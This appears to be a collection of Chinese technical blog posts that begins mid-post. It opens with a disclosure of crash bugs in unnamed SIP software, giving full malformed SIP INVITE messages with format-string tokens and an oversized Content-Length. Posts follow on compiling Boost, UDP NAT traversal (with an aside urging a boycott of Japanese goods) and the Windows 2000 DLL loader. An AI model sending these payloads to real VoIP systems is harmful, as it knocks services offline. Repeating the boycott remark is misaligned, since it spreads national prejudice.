CSeq: 5185 OPTIONS
Expires: -127
===========================================
It will be crash.
2. Several vulnerabilitites when processing format string in SDP
====================1======================
INVITE sip:a (at) 127.0.0 (dot) 1 [email concealed] SIP/2.0
Via: SIP/2.0/UDP 172.16.3.6:3333;branch=z9hG4bK00003013z9hG4bK.00003B37
From: 3013 <sip:a (at) 127.0.0 (dot) 1 [email concealed]>;tag=3013
To: zwell <sip:a (at) 127.0.0 (dot) 1 [email concealed]>
Call-ID: 1295 (at) 172.16.3 (dot) 6 [email concealed]
CSeq: 21086 INVITE
Content-Type: application/sdp
Content-Length: 134
v=0
o=3013 3013 3013 %s%x%n IP4 172.16.3.6
s=Session SDP
c=IN IP4 172.16.3.6
t=0 0
m=audio 9876 RTP/AVP 0
a=rtpmap:0 PCMU/8000
===========================================
INVITE sip:a (at) 127.0.0 (dot) 1 [email concealed] SIP/2.0
Via: SIP/2.0/UDP 172.16.3.6:3333;branch=z9hG4bK00003013z9hG4bK.00003B37
From: 3013 <sip:a (at) 127.0.0 (dot) 1 [email concealed]>;tag=3013
To: zwell <sip:a (at) 127.0.0 (dot) 1 [email concealed]>
Call-ID: 1295 (at) 172.16.3 (dot) 6 [email concealed]
CSeq: 21086 INVITE
Content-Type: application/sdp
Content-Length: 134
%s=0
o=4085 4085 4085 IN IP4 172.16.3.6
s=Session SDP
c=IN IP4 172.16.3.6
t=0 0
m=audio 9876 %s%x%n 0
a=rtpmap:0 PCMU/8000
===========================================
It will be have no response.
3. Processing number length in "Content-Length" item vulnerability:
if the length of "Content-Length" more than 9:
===========================================
INVITE sip:a (at) 127.0.0 (dot) 1 [email concealed] SIP/2.0
Via: SIP/2.0/UDP 172.16.3.6:3333;branch=z9hG4bK00002386z9hG4bK.0000234E
From: 2386 <sip:a (at) 127.0.0 (dot) 1 [email concealed]>;tag=2386
To: zwell <sip:a (at) 127.0.0 (dot) 1 [email concealed]>
Call-ID: 31442 (at) 172.16.3 (dot) 6 [email concealed]
CSeq: 4896 INVITE
Content-Type: application/sdp
Content-Length: 1111111111
v=0
o=2386 2386 2386 IN IP4 172.16.3.6
s=Session SDP
c=IN IP4 172.16.3.6
t=0 0
m=audio 9876 RTP/AVP 0
a=rtpmap:0 PCMU/8000
===========================================
It will be crash.
如果您不知道boost为何物, 请略过本篇文章.
前提
到www.boost.org上下载boost文件.
1.编译bjam.exe
在发布包中不含bjam的可执行文件, 因此要先进行编译.
假设安装在c:\boost_1_33_1\, 则打开命令行, 进行c:\boost_1_33_1\tools\build\jam_src目录:
cd /d "c:\boost_1_33_1\tools\build\jam_src", 再运行build.dat.
由于机器上同时安装了: VS.NET/BSD 4.0/BCB 6.0, 所以默认执行时它会先找VC环境,
这里我们可以通过指定编译环境为borland. 这时由于环境变量中BSD是长文件路径,
因此在编译过程中会提示找不到一些文件, 主要是由于路径解析有些问题. 我们将build.bat文件改动一下:
找到:Start行, 它是批处理的执行起始:
默认是如下内容:
===========================================================
:Start
set BOOST_JAM_TOOLSET=
REM If no arguments guess the toolset;
REM or if first argument is an option guess the toolset;
REM otherwise the argument is the toolset to use.
if "_%1_" == "__" (
call :Guess_Toolset
if not errorlevel 1 goto Setup_Toolset
) else (
call :Test_Option %1
if not errorlevel 1 (
call :Guess_Toolset
if not errorlevel 1 goto Setup_Toolset
) else (
setlocal & endlocal
set BOOST_JAM_TOOLSET=%1
shift
goto Setup_Toolset
)
)
===========================================================
更改后变成如下内容:
===========================================================
:Start
REM set BOOST_JAM_TOOLSET=
set BOOST_JAM_TOOLSET=borland
REM set BOOST_JAM_TOOLSET_ROOT="C:\PROGRA~1\Borland\CBuild6"
set BOOST_JAM_TOOLSET_ROOT="C:\PROGRA~1\Borland\BSD\4.0\Bin"
REM If no arguments guess the toolset;
REM or if first argument is an option guess the toolset;
REM otherwise the argument is the toolset to use.
if "_%1_" == "__" (
if "_%BOOST_JAM_TOOLSET%_" == "__" (
call :Guess_Toolset
if not errorlevel 1 goto Setup_Toolset
) else (
goto Setup_Toolset
)
) else (
call :Test_Option %1
if not errorlevel 1 (
call :Guess_Toolset
if not errorlevel 1 goto Setup_Toolset
) else (
setlocal & endlocal
set BOOST_JAM_TOOLSET=%1
shift
goto Setup_Toolset
)
)
===========================================================
再直接执行build.bat, 成功编译通过. 在C:\boost_1_33_1\tools\build\jam_src\bin.ntx86目录下生成bjam.exe文件.
2.编译boost库文件
将C:\boost_1_33_1\tools\build\jam_src\bin.ntx86目录下生成bjam.exe文件COPY到c:\boost_1_33_1.
进入boost的安装根目录
C:\boost_1_33_1>bjam "-sTOOLS=borland" install
这个过程比较漫长, just wait, wait, and … wait…^_^
在c:\Boost目录下面将生成头文件和库文件的目录.
除此之外, 还要到C:\boost_1_33_1\libs\regex\build目录下面编译对应的文件, 在这里是bcb6.mak.
最后会生成libboost_regex-bcb*.lib和对应的DLL文件. 带iinstall参数会自动安装到BCB目录里面去.
这里要注意一点, 由于安装脚本会自己查找borland的安装目录, 在我的系统中由于安装了BDS和BCB,
所以它会用BDS的BCC去编译, 这样中间就会出现一些错误, 这里我的解决办法是在命令行下将BDS
从PATH中去掉.只留下BCB的环境变量.
更改:
C:\boost_1_33_1\libs\regex\build>set path=C:\WINDOWS\Microsoft.NET\Framework\v1.
1.4322\;[原来BDS的位置去掉]C:\PROGRA~1\Borland\CBUILD~1\Bin;C:\PROGRA~1\Borland\CBUILD~1\Projects\B
pl;%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;C:\Program File
s\Common Files\Compuware
运行如下命令:
C:\boost_1_33_1\libs\regex\build>make.exe -fbcb6.mak install
最后一点需要记得的是: 在C:\boost_1_33_1\boost\type_traits目录(上一步生成的文件夹)下的is_enum.hpp文件中有一行出现错误, 开始处多了一个冒号
: ::boost::is_convertible<typename boost::add_reference<T>::type,::boost::detail::int_convertible>
将一个冒号去掉才行. 不明白作者怎么会出这种错误. ^_^
3.测试
在BCB中将include, LIB目录设置好, 然后建一窗体, 放一按钮, 在点击事件中输出, 测试一把, 嘻嘻…
void __fastcall TForm1::Button1Click(TObject *Sender)
{
//zwell test
try {
char *src_str = "<meta http-equiv=\"content-type\" content=\"text/html; charset=x-sjis\">"; // 対象文字列
boost::regex rx( "<META +HTTP-EQUIV=(.*) +CONTENT=(.*) +CHARSET=(.*)>", boost::regex_constants::normal|boost::regex_constants::icase );
boost::cmatch results;
if( boost::regex_match( src_str, results, rx ) == true ) {
AnsiString s;
for( size_t i=1;i<results.size(); ++i ) {
s += "$" + IntToStr(i) + "=" + AnsiString( results.str(i).c_str() ) + "\r\n";
}
ShowMessage( s );
}
}
catch( std::runtime_error &e ) {
throw Exception( e.what() );
}
}
4.总结
感觉网上这些大牛的东东直接拿过来总有这些那些问题, 不能直接编译过. 一方面是自己水平有限, 另一方面可能真的是说明里面没写的太清楚, 最终还是要自己拿过代码脚本等等来读一读, 弄清个大概才能进行下一步.
本来想把生成好的头文件各库文件直接打个包"幸福天下人"的, 无奈文件太大, 没地方放, 暂时就不做考虑, 哪位大侠如能提供空间的话, 在下感激不尽. 呵呵.
P2P之UDP穿透NAT的原理与实现–增强篇(附源代码)
关键词: P2P UDP NAT 原理 穿透 Traveral Symmetric Cone
原始作者: Hwycheng Leo(FlashBT@Hotmail.com)
源码下载:
http://www.ppcn.net/upload/2005_08/05080112299104.rar
参考:
http://midcom-p2p.sourceforge.net/draft-ford-midcom-p2p-01.txt
P2P之UDP穿透NAT的原理与实现(shootingstars)
文章说明:
关于UDP穿透NAT的中文资料在网络上是很少的,仅有<<P2P之UDP穿透NAT的原理与实现(shootingstars)
>>这篇文章有实际的参考价值。本人近两年来也一直从事P2P方面的开发工作,比较有代表性的是个人开发的BitTorrent下载软件
- FlashBT(变态快车). 对P2P下载或者P2P的开发感兴趣的朋友可以访问软件的官方主页: http://www.hwysoft.com/chs/ 下载看看,说不定有收获。写这篇文章的主要目的是懒的再每次单独回答一些网友的提问, 一次性写下来, 即节省了自己的时间,也方便了对于P2P的UDP穿透感兴趣的网友阅读和理解。对此有兴趣和经验的朋友可以给我发邮件或者访问我的个人Blog留言: http://hwycheng.blogchina.com.
您可以自由转载此篇文章,但是请保留此说明。
再次感谢shootingstars网友的早期贡献. 表示谢意。
————————————————————————————————————
NAT(The IP Network Address Translator) 的概念和意义是什么?
NAT, 中文翻译为网络地址转换。具体的详细信息可以访问RFC 1631 – http://www.faqs.org/rfcs/rfc1631.html, 这是对于NAT的定义和解释的最权威的描述。网络术语都是很抽象和艰涩的,除非是专业人士,否则很难从字面中来准确理解NAT的含义。
要想完全明白NAT 的作用,我们必须理解IP地址的两大分类,一类是私有IP地址,在这里我们称作内网IP地址。一类是非私有的IP地址,在这里我们称作公网IP地址。关于IP地址的概念和作用的介绍参见我的另一篇文章: http://hwycheng.blogchina.com/2402121.html
内网IP地址: 是指使用A/B/C类中的私有地址, 分配的IP地址在全球不惧有唯一性,也因此无法被其它外网主机直接访问。
公网IP地址: 是指具有全球唯一的IP地址,能够直接被其它主机访问的。
NAT 最初的目的是为使用内网IP地址的计算机提供通过少数几台具有公网的IP地址的计算机访问外部网络的功能。NAT
负责将某些内网IP地址的计算机向外部网络发出的IP数据包的源IP地址转换为NAT自己的公网的IP地址,目的IP地址不变,
并将IP数据包转发给路由器,最终到达外部的计算机。同时负责将外部的计算机返回的IP数据包的目的IP地址转换为内网的IP地址,源IP地址不变,并最
终送达到内网中的计算机。

图一: NAT 实现了私有IP的计算机分享几个公网IP地址访问Internet的功能。
随
着网络的普及,IPv4的局限性暴露出来。公网IP地址成为一种稀缺的资源,此时NAT
的功能局限也暴露出来,同一个公网的IP地址,某个时间只能由一台私有IP地址的计算机使用。于是NAPT(The IP Network
Address/Port
Translator)应运而生,NAPT实现了多台私有IP地址的计算机可以同时通过一个公网IP地址来访问Internet的功能。这在很大程度上暂
时缓解了IPv4地址资源的紧张。
NAPT
负责将某些内网IP地址的计算机向外部网络发出的TCP/UDP数据包的源IP地址转换为NAPT自己的公网的IP地址,源端口转为NAPT自己的一个端
口。目的IP地址和端口不变,
并将IP数据包发给路由器,最终到达外部的计算机。同时负责将外部的计算机返回的IP数据包的目的IP地址转换内网的IP地址,目的端口转为内网计算机的
端口,源IP地址和源端口不变,并最终送达到内网中的计算机。
图二: NAPT 实现了私有IP的计算机分享一个公网IP地址访问Internet的功能。
在
我们的工作和生活中,
NAPT的作用随处可见,绝大部分公司的网络架构,都是通过1至N台支持NAPT的路由器来实现公司的所有计算机连接外部的Internet网络的。包括
本人在写这篇文章的时候,也是在家中使用一台IBM笔记本通过一台宽带连接的台式机来访问Internet的。我们本篇文章主要讨论的NAPT的问题。
NAPT(The IP Network Address/Port Translator) 为何阻碍了P2P软件的应用?
通过NAPT
上网的特点决定了只能由NAPT内的计算机主动向NAPT外部的主机发起连接,外部的主机想直接和NAPT内的计算机直接建立连接是不被允许的。IM(即
时通讯)而言,这意味着由于NAPT内的计算机和NAPT外的计算机只能通过服务器中转数据来进行通讯。对于P2P方式的下载程序而言,意味着NAPT内
的计算机不能接收到NAPT外部的连接,导致连接数用过少,下载速度很难上去。因此P2P软件必须要解决的一个问题就是要能够在一定的程度上解决NAPT
内的计算机不能被外部连接的问题。
NAT(The IP Network Address Translator) 进行UDP穿透的原理是什么?
TCP/IP传输时主要用到TCP和UDP协议。TCP协议是可靠的,面向连接的传输协议。UDP是不可靠的,无连接的协议。根据TCP和UDP协
议的实现原理,对于NAPT来进行穿透,主要是指的UDP协议。TCP协议也有可能,但是可行性非常小,要求更高,我们此处不作讨论,如果感兴趣可以到
Google上搜索,有些文章对这个问题做了探讨性的描述。下面我们来看看利用UDP协议来穿透NAPT的原理是什么:

图三: NAPT 是如何将私有IP地址的UDP数据包与公网主机进行透明传输的。
UDP协议包经NAPT透明传输的说明:
NAPT为每一个Session分配一个NAPT自己的端口号,依据此端口号来判断将收到的公网IP主机返回的TCP/IP数据包转发给那台内网
IP地址的计算机。在这里Session是虚拟的,UDP通讯并不需要建立连接,但是对于NAPT而言,的确要有一个Session的概念存在。NAPT
对于UDP协议包的透明传输面临的一个重要的问题就是如何处理这个虚拟的Session。我们都知道TCP连接的Session以SYN包开始,以FIN
包结束,NAPT可以很容易的获取到TCP
Session的生命周期,并进行处理。但是对于UDP而言,就麻烦了,NAPT并不知道转发出去的UDP协议包是否到达了目的主机,也没有办法知道。而
且鉴于UDP协议的特点,可靠很差,因此NAPT必须强制维持Session的存在,以便等待将外部送回来的数据并转发给曾经发起请求的内网IP地址的计
算机。NAPT具体如何处理UDP
Session的超时呢?不同的厂商提供的设备对于NAPT的实现不近相同,也许几分钟,也许几个小时,些NAPT的实现还会根据设备的忙碌状态进行智能
计算超时时间的长短。

图四: NAPT 将内部发出的UDP协议包的源地址和源端口改变传输给公网IP主机。
图五: NAPT 将收到的公网IP主机返回的UDP协议包的目的地址和目的端口改变传输给内网IP计算机
现在我们大概明白了NAPT如何实现内网计算机和外网主机间的透明通讯。现在来看一下我们最关心的问题,就是NAPT是依据什么策略来判断是否要为一个请求发出的UDP数据包建立Session的呢?主要有一下几个策略:
A. 源地址(内网IP地址)不同,忽略其它因素, 在NAPT上肯定对应不同的Session
B. 源地址(内网IP地址)相同,源端口不同,忽略其它的因素,则在NAPT上也肯定对应不同的Session
C. 源地址(内网IP地址)相同,源端口相同,目的地址(公网IP地址)相同,目的端口不同,则在NAPT上肯定对应同一个Session
D. 源地址(内网IP地址)相同,源端口相同,目的地址(公网IP地址)不同,忽略目的端口,则在NAPT上是如何处理Session的呢?
D的情况正式我们关心和要讨论的问题。依据目的地址(公网IP地址)对于Session的建立的决定方式我们将NAPT设备划分为两大类:
Symmetric NAPT:
对于到同一个IP地址,任意端口的连接分配使用同一个Session; 对于到不同的IP地址, 任意端口的连接使用不同的Session.
我们称此种NAPT为 Symmetric NAPT. 也就是只要本地绑定的UDP端口相同, 发出的目的IP地址不同,则会建立不同的Session.

图六: Symmetric 的英文意思是对称。多个端口对应多个主机,平行的,对称的!
Cone NAPT:
对于到同一个IP地址,任意端口的连接分配使用同一个Session; 对于到不同的IP地址,任意端口的连接也使用同一个Session.
我们称此种NAPT为 Cone NAPT. 也就是只要本地绑定的UDP端口相同, 发出的目的地址不管是否相同, 都使用同一个Session.

图七: Cone 的英文意思是锥。一个端口对应多个主机,是不是像个锥子?
现在绝大多数的NAPT属于后者,即Cone NAT。本人在测试的过程中,只好使用了一台日本的Symmetric
NAT。还好不是自己的买的,我从不买日货,
希望看这篇文章的朋友也自觉的不要购买日本的东西。Win9x/2K/XP/2003系统自带的NAPT也是属于 Cone
NAT的。这是值的庆幸的,因为我们要做的UDP穿透只能在Cone NAT间进行,只要有一台不是Cone
NAT,对不起,UDP穿透没有希望了,服务器转发吧。后面会做详细分析!
下面我们再来分析一下NAPT 工作时的一些数据结构,在这里我们将真正说明UDP可以穿透Cone
NAT的依据。这里描述的数据结构只是为了说明原理,不具有实际参考价值,真正感兴趣可以阅读Linux的中关于NAT实现部分的源码。真正的NAT实现
也没有利用数据库的,呵呵,为了速度!
Symmetric NAPT 工作时的端口映射数据结构如下:
内网信息表:
[NAPT 分配端口] [ 内网IP地址 ] [ 内网端口 ] [ 外网IP地址 ] [ SessionTime 开始时间 ]
PRIMARY KEY( [NAPT 分配端口] ) -> 表示依据[NAPT 分配端口]建立主键,必须唯一且建立索引,加快查找.
UNIQUE( [ 内网IP地址 ], [ 内网端口 ] ) -> 表示这两个字段联合起来不能重复.
UNIQUE( [ 内网IP地址 ], [ 内网端口 ], [ 外网IP地址 ] ) -> 表示这三个字段联合起来不能重复.
映射表:
[NAPT 分配端口] [ 外网端口 ]
UNIQUE( [NAPT 分配端口], [ 外网端口 ] ) -> 表示这两个字段联合起来不能重复.
Cone NAPT 工作时的端口映射数据结构如下:
内网信息表:
[NAPT 分配端口] [ 内网IP地址 ] [ 内网端口 ] [ SessionTime 开始时间 ]
PRIMARY KEY( [NAPT 分配端口] ) -> 表示依据[NAPT 分配端口]建立主键,必须唯一且建立索引,加快查找.
UNIQUE( [ 内网IP地址 ], [ 内网端口 ] ) -> 表示这两个字段联合起来不能重复.
外网信息表:
[ wid 主键标识 ] [ 外网IP地址 ] [ 外网端口 ]
PRIMARY KEY( [ wid 主键标识 ] ) -> 表示依据[ wid 主键标识 ]建立主键,必须唯一且建立索引,加快查找.
UNIQUE( [ 外网IP地址 ], [ 外网端口 ] ) -> 表示这两个字段联合起来不能重复.
映射表: 实现一对多,的
[NAPT 分配端口] [ wid 主键标识 ]
UNIQUE( [NAPT 分配端口], [ wid 主键标识 ] ) -> 表示这两个字段联合起来不能重复.
UNIQUE( [ wid 主键标识 ] ) -> 标识此字段不能重复.
看完了上面的数据结构是更明白了还是更晕了? 呵呵! 多想一会儿就会明白了。通过NAT,内网计算机计算机向外连结是很容易的,NAPT会自动处理,我们的应用程序根本不必关心它是如何处理的。那么外部的计算机想访问内网中的计算机如何实现呢?我们来看一下下面的流程:
c 是一台在NAPT后面的内网计算机,s是一台有外网IP地址的计算机。c 主动向 s 发起连接请求,NAPT依据上面描述的规则在自己的数据结构中记录下来,建立一个Session. 然后 c 和 s 之间就可以实现双向的透明的数据传输了。如下面所示:
c[192.168.0.6:1827] <-> [priv ip: 192.168.0.1]NAPT[pub ip: 61.51.99.86:9881] <-> s[61.51.76.102:8098]
由此可见,一台外网IP地址的计算机想和NAPT后面的内网计算机通讯的条件就是要求NAPT后面的内网计算机主动向外网IP地址的计算机发起一个
UDP数据包。外网IP地址的计算机利用收到的UDP数据包获取到NAPT的外网IP地址和映射的端口,以后就可以和内网IP的计算机透明的进行通讯了。
现
在我们再来分析一下我们最关心的两个NAPT后面的内网计算机如何实现直接通讯呢?
两者都无法主动发出连接请求,谁也不知道对方的NAPT的公网IP地址和NAPT上面映射的端口号。所以我们要靠一个公网IP地址的服务器帮助两者来建立
连接。当两个NAPT后面的内网计算机分别连接了公网IP地址的服务器后,服务器可以从收到的UDP数据包中获取到这两个NAPT设备的公网IP地址和这
两个连接建立的Session的映射端口。两个内网计算机可以从服务器上获取到对方的NAPT设备公网IP地址和映射的端口了。
我们假设两个内网计算机分别为A和B,对应的NAPT分别为AN和BN, 如果A在获取到B对应的BN的IP地址和映射的端口后,迫不急待的向这个IP
地
址和映射的端口发送了个UDP数据包,会有什么情况发生呢?依据上面的原理和数据结构我们会知道,AN会在自己的数据结构中生成一条记录,标识一个新
Session的存在。BN在收到数据包后,从自己的数据结构中查询,没有找到相关记录,因此将包丢弃。B是个慢性子,此时才慢吞吞的向着AN的IP地址
和映射的端口发送了一个UDP数据包,结果如何呢?当然是我们期望的结构了,AN在收到数据包后,从自己的数据结构中查找到了记录,所以将数据包进行处理
发送给了A。A 再次向B发送数据包时,一切都时畅通无阻了。OK, 大工告成!且慢,这时对于Cone NAPT而言,对于Symmetric
NAPT呢?呵呵,自己分析一下吧…
NAPT(The IP Network Address/Port Translator) 进行UDP穿透的具体情况分析!
首先明确的将NAPT设备按照上面的说明分为: Symmetric NAPT 和 Cone NAPT, Cone NAPT 是我们需要的。Win9x/2K/XP/2003 自带的NAPT也为Cone NAPT。
第一种情况, 双方都是Symmetric NAPT:
此情况应给不存在什么问题,肯定是不支持UDP穿透。
第二种情况, 双方都是Cone NAPT:
此情况是我们需要的,可以进行UDP穿透。
第三种情况, 一个是Symmetric NAPT, 一个是Cone NAPT:
此情况比较复杂,但我们按照上面的描述和数据机构进行一下分析也很容易就会明白了, 分析如下,
假设: A -> Symmetric NAT, B -> Cone NAT
1. A 想连接 B, A 从服务器那儿获取到 B 的NAT地址和映射端口, A 通知服务器,服务器告知 B A的NAT地址和映射端口,
B 向 A 发起连接,A 肯定无法接收到。此时 A 向 B 发起连接, A 对应的NAT建立了一个新的Session,分配了一个新的映射端口,
B 的 NAT 接收到UDP包后,在自己的映射表中查询,无法找到映射项,因此将包丢弃了。
2. B 想连接 A, B 从服务器那儿获取到 A 的NAT地址和映射端口, B 通知服务器, 服务器告知 A
B的NAT地址和映射端口,A 向 B 发起连接, A 对应的NAT建立了一个新的Session,分配了一个新的映射端口B肯定无法接收到。此时
B 向 A 发起连接, 由于 B 无法获取 A 建立的新的Session的映射端口,仍是使用服务器上获取的映射端口进行连接, 因此 A
的NAT在接收到UDP包后,在自己的映射表中查询,无法找到映射项, 因此将包丢弃了。
根据以上分析,只有当连接的两端的NAT都为Cone NAT的情况下,才能进行UDP的内网穿透互联。
NAPT(The IP Network Address/Port Translator) 进行UDP穿透如何进行现实的验证和分析!
需要的网络结构如下:
三个NAT后面的内网机器,两个外网服务器。其中两台Cone NAPT,一台 Symmetric NAPT。
验证方法:
可以使用本程序提供的源码,编译,然后分别运行服务器程序和客户端。修改过后的源码增加了客户端之间直接通过IP地址和端口发送消息的命令,利用此
命令,你可以手动的验证NAPT的穿透情况。为了方便操作,推荐你使用一个远程登陆软件,可以直接在一台机器上操作所有的相关的计算机,这样很方便,一个
人就可以完成所有的工作了。呵呵,本人就是这么完成的。欢迎有兴趣和经验的朋友来信批评指正,共同进步。
Load and Unload
一、前言
在
前一段时间,我遭遇了一个现象诡异的Bug,最后原因归结为在DllMain里错误地调用了FreeLibrary(在本文最后对此Bug有详细的解
释)。 MSDN里关于禁止在DllMain里调用LoadLibrary和FreeLibrary的解释过于含糊不清,所以我重温了一遍Russ
Osterlund的"Windows 2000 Loader"一文,并仔细阅读了泄漏的Win2000源代码的相关部分。按照我一贯的习惯,我的阅读过程形成了我这篇文章的主体。自从我2000年写了"ATL接口映射宏详解"
以来,我还没写过这么大块头的文章。我不知道有多少人耐着性子看完了"ATL接口映射宏详解",我猜想这篇文章的命运也不会比它的前辈好多少。在这个技术
更新越来越快的年代里,人们会对这种陷入实现细节的文章感到厌烦,而我自己在若干年后可能也不会有耐心和勇气面对它,但文章最后对几个问题的解释也还是有
实用价值的,另外寻根究底的精神也总是应该存在的。
二、准备工作
工具:
用SourceInsight看Win2000的源代码会比较爽。
WinDbg是调试用的神兵利器,它能显示比VC更多的调试信息,以及一些内部的数据结构,当然你需要先安装与你的OS相符合的调试符号。
GFlag.exe可以设置输出Loader Snap信息,它和WinDbg一起,都在Debugging Tools for Windows包里。
ModuleList是我写的一个小工具,与本文相得益彰。
知识:
在开始跟随我的脚步之前,你至少应该先阅读一下"win2k\private\net\sockets\winsock2\dll\include\llist.h"文件。在这里定义一些非常重要的宏和结构,包括:
LIST_ENTRY、FIELD_OFFSET、CONTAINING_RECORD以及双向链表添加删除结点的几个宏。
虽然在好几个文件里有这几个宏的相同定义,但显然这个文件是最好的,因为它有非常详细的注释。理解LIST_ENTRY和CONTAINING_RECORD非常关键,这种简单高效又富于技巧性的双向链表结构遍布于Win2000源码的各个角落之中,包括与本文密切相关的PEB_LDR_DATA和LDR_DATA_TABLE_ENTRY结构。(在ModuleList中给出了这两个结构的定义)
浏览一遍Russ Osterlund的"Windows 2000 Loader"也是非常必要的,为了避免重复,我省略了一些内容。不过他的文章也很长,份量很重,看完它需要花费很多心力。
另外你还需要有相当多的PE方面的知识,特别是Import和Export的部分,还有Forward API和binding的概念。
如
果做完以上准备工作之后,阅读本文仍然有困难的话,那么非常遗憾,我的写作能力还不足以让你跳过源代码,还是请你先阅读过win2000的源代码再回来
吧,毕竟代码才是最好的文档。(win2000源代码里的注释是1990年,而Russ
Osterlund在2002年给出的伪代码与它高度相似,这是否说明我们现在用的Windows Loader的主干代码在十几年前就已经确立了呢?
这不禁让我有一丝莫名的激动。)
三、Process Initialize
LdrpInitialize
is called as a User-Mode APC routine as the first user-mode code
executed by a new thread.
不过我们从LdrpInitializeProcess开始研究就已经足够了,并且本文只关注与Dll loader相关的部分。
LdrpInitializeProcess的功能:
This function initializes the loader for the process.
This includes:
- Initializing the loader data table
- Connecting to the loader subsystem
- Initializing all staticly linked DLLs
(1) 初始化Hash table
for(i=0;i<LDRP_HASH_TABLE_SIZE;i++) {
InitializeListHead(&LdrpHashTable[i]);
}
LdrpHashTable是全局变量:
#define LDRP_HASH_TABLE_SIZE 32
#define LDRP_HASH_MASK (LDRP_HASH_TABLE_SIZE-1)
#define LDRP_COMPUTE_HASH_INDEX(wch) ( (RtlUpcaseUnicodeChar((wch)) - (WCHAR)'A') & LDRP_HASH_MASK )
LIST_ENTRY LdrpHashTable[LDRP_HASH_TABLE_SIZE]; // Hash表,每一项是一个双向链表结构
这里采用的是非常简单的Hash算法。
(2) 得到LdrpKnownDllPath
LdrpKnownDllObjectDirectory是named object"\\KnownDlls"的句柄。
如果打开该对象不成功,则LdrpKnownDllPath默认的就是系统目录,比如:"c:\winnt\system32";
如果打开该对象成功,则在该directory下有一item "KnownDllPath"(a symbolic-link object),用这个值初始化LdrpKnownDllPath。
LdrpKnownDllObjectDirectory和LdrpKnownDllPath是全局变量:
HANDLE LdrpKnownDllObjectDirectory;
UNICODE_STRING LdrpKnownDllPath;
如果不能成功得到LdrpKnownDllPath,则会退出LdrpInitializeProcess函数。
LdrpKnownDllPath将在后面的LdrpCheckForKnownDll函数中被用到。
(3) 初始化Peb->Ldr,参见ModuleList中给出的定义。
// 在进程堆上为Ldr分配空间
Peb->Ldr = RtlAllocateHeap(Peb->ProcessHeap, MAKE_TAG( LDR_TAG ), sizeof(PEB_LDR_DATA));
Peb->Ldr->Length = sizeof(PEB_LDR_DATA);
Peb->Ldr->Initialized = TRUE;
Peb->Ldr->SsHandle = NULL;
InitializeListHead(&Peb->Ldr->InLoadOrderModuleList);
InitializeListHead(&Peb->Ldr->InMemoryOrderModuleList);
InitializeListHead(&Peb->Ldr->InInitializationOrderModuleList);
(4) 为process image分配第一个loader data table entry,初始化,并加入到list中
LdrDataTableEntry = LdrpImageEntry = LdrpAllocateDataTableEntry(Peb->ImageBaseAddress);
... 初始化各个成员 ....
LdrpInsertMemoryTableEntry(LdrDataTableEntry); // 将该entry加入到list of loaded modules for this process
LdrDataTableEntry->Flags |= LDRP_ENTRY_PROCESSED;
LdrpInsertMemoryTableEntry函数比它的名字包含了更多的含义,它不仅insert into LoadOrderModuleList和MemoryOrderModuleList,
还insert into HashList:
ULON i = LDRP_COMPUTE_HASH_INDEX(LdrDataTableEntry->BaseDllName.Buffer[0]);
InsertTailList(&LdrpHashTable[i],&LdrDataTableEntry->HashLinks);
InsertTailList(&Ldr->InLoadOrderModuleList, &LdrDataTableEntry->InLoadOrderLinks);
InsertTailList(&Ldr->InMemoryOrderModuleList, &LdrDataTableEntry->InMemoryOrderLinks);
(5) 为ntdll.dll分配第二个loader data table entry,初始化,并加入到list中
对于任何一个进程,ntdll.dll都是第一个被处理的DLL。
LdrDataTableEntry = LdrpAllocateDataTableEntry(SystemDllBase); // 即ntdll.dll的基地址
... 初始化各个成员 ....
与Process image不同,ntdll.dll会被加入到初始化链表中:
InsertHeadList(&Peb->Ldr->InInitializationOrderModuleList,
&LdrDataTableEntry->InInitializationOrderLinks);
这也是InInitializationOrderModuleList长度总比InLoadOrderModuleList和InMemoryOrderModuleList多1个的原因。
ntdll.dll
的一个有趣的事是它的入口点EntryPoint为NULL,所以不会调用_DllMainCRTStartup,所以不会有
LDRP_PROCESS_ATTACH_CALLED标志。用ModuleList.exe会发现所有进程里的ntdll.dll都是如此。
ntdll.dll的另一个特殊之处是它的LoadCount初始为-1,意味着LoadCount永远不会改变。
(6) 加载Process引用的DLLs
LdrpWalkImportDescriptor(LdrpDefaultPath.Buffer, LdrpImageEntry);
LdrpImageEntry是在前面已经分配过的全局的Process Image的loader data table entry.
LdrpWalkImportDescriptor:
is a recursive routine which walks the Import Descriptor Table and loads each DLL that is referenced.
if (Bound Imports Descriptor Table存在)
{
while (遍历每一个IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT结构)
{
调用LdrpLoadImportModule(...)装载绑定的Dll,得到该dll的loader data table entry;
如果成功并且该dll是第一次被load,则调用InsertTailList将其加入到InInitializationOrderModuleList的末尾。
if (该dll的时间戮不一致,或者DllBase不是preferred load address)
StaleBinding = TRUE;
else
StaleBinding = FALSE;
while (处理该dll的每一个forwarder dll)
{
调用LdrpLoadImportModule(...)装载forwarder dll;
如果成功并且该dll是第一次被load,则调用InsertTailList将其加入到InInitializationOrderModuleList的末尾。
if (不成功,或者该dll的时间戮不一致,或者DllBase不是preferred load address)
StaleBinding = TRUE;
else
StaleBinding = FALSE;
}
if (StaleBinding == TRUE)
{
Find the unbound import descriptor that matches this bound import descriptor
如果没找到,则返回STATUS_OBJECT_NAME_INVALID,退出
调用LdrpSnapIAT(...)修正IAT表。
}
/* 这一部分的代码现在肯定已经有所变化。通过Russ Osterlund的例子可以发现,如果使用LoadLibrary来load一个Forwarder DLL,
使用GetProcAddress来使用一个Forwarder Function,那么LoadLibrary不会加载Forwarded Dll,只有在GetProcAddress之后,
才会加载Forwarded Dll。这是一种类似Delay-load的机制。
*/
}
}
else if (Regular Imports Descriptor Table存在)
{
while (遍历每一个IMAGE_DIRECTORY_ENTRY_IMPORT结构)
{
调用LdrpLoadImportModule(...)装载imported dll,得到该dll的loader data table entry;
if (this dll has been bound // 通过timestamp判断,See PE specifications 6.4.1
&& the import date stamp matches the date time stamp in the export modules header
&& and the image was mapped at it's prefered base address)
{
// do nothing
}
else
{
调用LdrpSnapIAT(...)修正IAT表。
}
如果Dll是第一次被load,则调用InsertTailList将其加入到InInitializationOrderModuleList的末尾。
}
}
以下是在不同的情况下输出的Loader Snap信息。
Bound成功的例子:
LDR: KERNEL32.dll bound to NTDLL.DLL
LDR: KERNEL32.dll has correct binding to NTDLL.DLL
Bound不成功的例子:
LDR: SHELL32.dll has stale binding to SHLWAPI.DLL
LDR: Stale Bind SHLWAPI.DLL from SHELL32.dll
Bound里有forward成功的例子:
LDR: GDI32.dll bound to NTDLL.DLL via forwarder(s) from KERNEL32.dll
